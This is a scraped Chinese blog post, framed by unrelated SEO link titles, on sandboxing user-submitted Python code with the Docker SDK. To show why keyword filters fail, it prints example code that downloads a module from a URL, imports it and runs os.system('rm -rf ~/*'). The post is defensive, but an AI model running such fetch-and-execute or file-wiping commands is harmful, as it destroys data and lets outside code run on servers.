当前位置: 首页 > news >正文

wordpress 主题漏洞大庆网站建设优化

wordpress 主题漏洞,大庆网站建设优化,动漫网站开发毕业设计,wordpress无法显示中文写后端的同学#xff0c;有时候需要在网站上实现一个功能#xff0c;让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码#xff0c;我们第一个想到的问题#xff0c;就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行有时候需要在网站上实现一个功能让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码我们第一个想到的问题就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行在不做任何安全过滤的情况下就会导致服务器的Home文件夹被清空。 import os os.system(rm -rf ~/*)有人想的比较简单直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗 这种想法乍看起来没有问题但细想下就会发现非常天真。如果用户的代码像下面这样写你又要如何应对 import requestscode  requests.get(https://www.kingname.info/dangerous_code).textwith open(dangerous_code.py, w) as f:f.write(code)dangerous_module  __import__(dangerous_code) danderous_module.delete_all()其中https://www.kingname.info/dangerous_code对应的代码如下 import os def delete_all():os.system(rm -rf ~/*)这样就可以绕过关键字检查并成功删除你的文件了。 如果你的网站本身就是一个爬虫管理平台你检查用户自定义的代码时肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。 而且恶意代码不一定是删除你的东西它完全可以直接把你项目下面的所有代码打包上传到它指定的URL中这样就能窃取你网站里面所有代码。 为了避免这样的情况发生我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷独立的环境能确保他即使删除了所有文件也不会影响到你。 显然最简单直接的办法就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。 首先确保你的服务器上面已经有Docker并且正在运行。接下来安装Docker SDK pip install docker假设你把用户上传的文件放在了user/user_id/upload文件夹下面那么首先你需要生成一个Dockerfile并把这个Dockerfile放到upload文件夹中 from python:3.10run pip install -r requirements.txt copy . /app workdir /app当用户添加/修改了第三方库时你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。 接下来我们开始构建镜像并运行代码 import docker client  docker.from_env()client.images.build(pathuser/user_id/upload, tagxxxspider:0.01) # tag后面的名字可以自定义container  client.containers.run(xxxspider:0.01, detachTrue, commandscrapy crawl xxx, 其他参数)这个代码运行以后是非阻塞的会立刻返回container对象。当你想查看代码日志时执行 container.logs(tail10) # 显示最后10行日志就可以看到相关的日志了。
http://www.hkea.cn/news/14300143/

相关文章:

  • 高端网站建设软件开发windows优化大师官方免费
  • 刷网站排名 优帮云ai网站大全
  • 周口网站关键词优化网络营销对于个人而言有什么作用
  • 利用帝国软件如何做网站目前最火的大型网络游戏
  • 室内设计网站参考网站 搜索 关键字 description
  • 生活做爰网站自建本地网站服务器wordpress
  • 广州网站建设推广易尚开发公司人事行政经理工作总结及计划
  • 中国做网站知名的公司中国芯片三巨头
  • 网站已改版网站开发和商城的科目
  • django商城网站开发的功能海口网站制作
  • 广东网站建设电话咨询下一页word
  • 霸州网站制作wordpress主题图标乱码
  • 公司官方网站怎么做电子商务网站建设商城网站
  • 网站开发软件 连接SQL数据库无锡建设工程服务中心
  • 网站建设基础考试高端品牌护肤品
  • 汽车最全的网站都江堰市网站建设
  • 上海 网站工作室php网站开发方案
  • 龙岩网站建设要多久杭州app开发公司老铁帮
  • 网站的设计思路范文太原市建设厅官方网站
  • 网站制作 温州每个
  • 龙岗区网站建设哪个公司好企业营销图片
  • 乔拓云智能建站官网苏醒wordpress主题
  • php网站建设价格网站建设的人员组织
  • 网站后台查询软件北京品牌网站
  • 如何在国外网站做免费推广网站建设投标ppt模板下载
  • dede网站qq类源码seo优化排名易下拉软件
  • 娄底本地做寄生虫网站济南网页设计师招聘信息
  • 龙溪营销型网站制作企业网络营销策划方案书范例
  • 云主机做网站百度免费推广登录入口
  • 导购网站建设需求模版做个网站多少钱找谁做